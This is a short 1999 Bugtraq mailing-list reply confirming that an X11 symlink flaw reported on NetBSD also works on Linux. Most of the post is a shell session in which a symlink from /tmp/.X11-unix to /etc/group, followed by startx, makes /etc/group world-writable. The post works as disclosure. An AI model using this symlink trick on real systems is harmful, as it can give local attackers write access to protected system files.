Bugtraq: Re: X11R6 NetBSD Security Problem

[petras () BEBRAS DAMMIT LT (Petras Sinkevicius)]

On Sun, 21 Mar 1999, in.telnetd wrote:

> oops, i forgot to say, this was on NetBSD 1.3.3, fresh install
> if you could apend this to my last message, it would be apreciated aleph1
This also works under Linux, X11 v3.3.3, links to directories and files

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bebras () petras:/tmp> ln -s /etc/group /tmp/.X11-unix
bebras () petras:/tmp> ls -l /etc/group
-rw-r--r--   1 root     root          336 Mar  6 13:56 /etc/group
bebras () petras:/tmp> startx
_X11TransSocketUNIXConnect: Can't connect: errno = 111
giving up.
xinit:  Connection refused (errno 111):  unable to connect to X server
xinit:  No such process (errno 3):  Server error.
bebras () petras:/tmp> ls -l /etc/group
-rwxrwxrwt   1 root     root          336 Mar  6 13:56 /etc/group*
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Petras Sinkevicius
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